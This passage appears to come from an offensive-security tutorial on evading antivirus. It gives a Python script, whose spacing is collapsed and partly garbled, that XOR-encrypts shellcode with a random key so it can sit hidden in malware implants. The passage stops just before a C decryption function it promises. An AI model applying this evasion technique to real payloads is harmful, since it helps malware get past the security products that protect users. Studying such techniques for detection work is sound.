Strings are a big indicator of malware and are a big target of most AV's and security products. Here we will make use of encrypting your strings and shellcode to evade detection.
We will use XOR encryption to hide our payloads. I have stolen a xor encryptor script from here:
This takes a shellcode bin file and xor encrypts it with a random key.
import sysimport randomimport stringimport osimport timedefget_random_string():# With combination of lower and upper case length = random.randint(8, 15) result_str =''.join(random.choice(string.ascii_letters) for i inrange(length))# print random stringreturn result_strdefxor(data): key =get_random_string() l =len(key) output_str =""for i inrange(len(data)): current = data[i] current_key = key[i %len(key)] o =lambdax: x ifisinstance(x, int)elseord(x)# handle data being bytes not string output_str +=chr(o(current) ^ord(current_key)) ciphertext ='{ 0x'+', 0x'.join(hex(ord(x))[2:] for x in output_str)+' };'print(ciphertext)print(key)try: plain =open(sys.argv[1], "rb").read()except:print("Failed to read payload file")xor(plain)
If you pass your file to this script, you should get a key and your encrypted shellcode in a byte array.
To decrypt this, we can use this simple C function in our implants: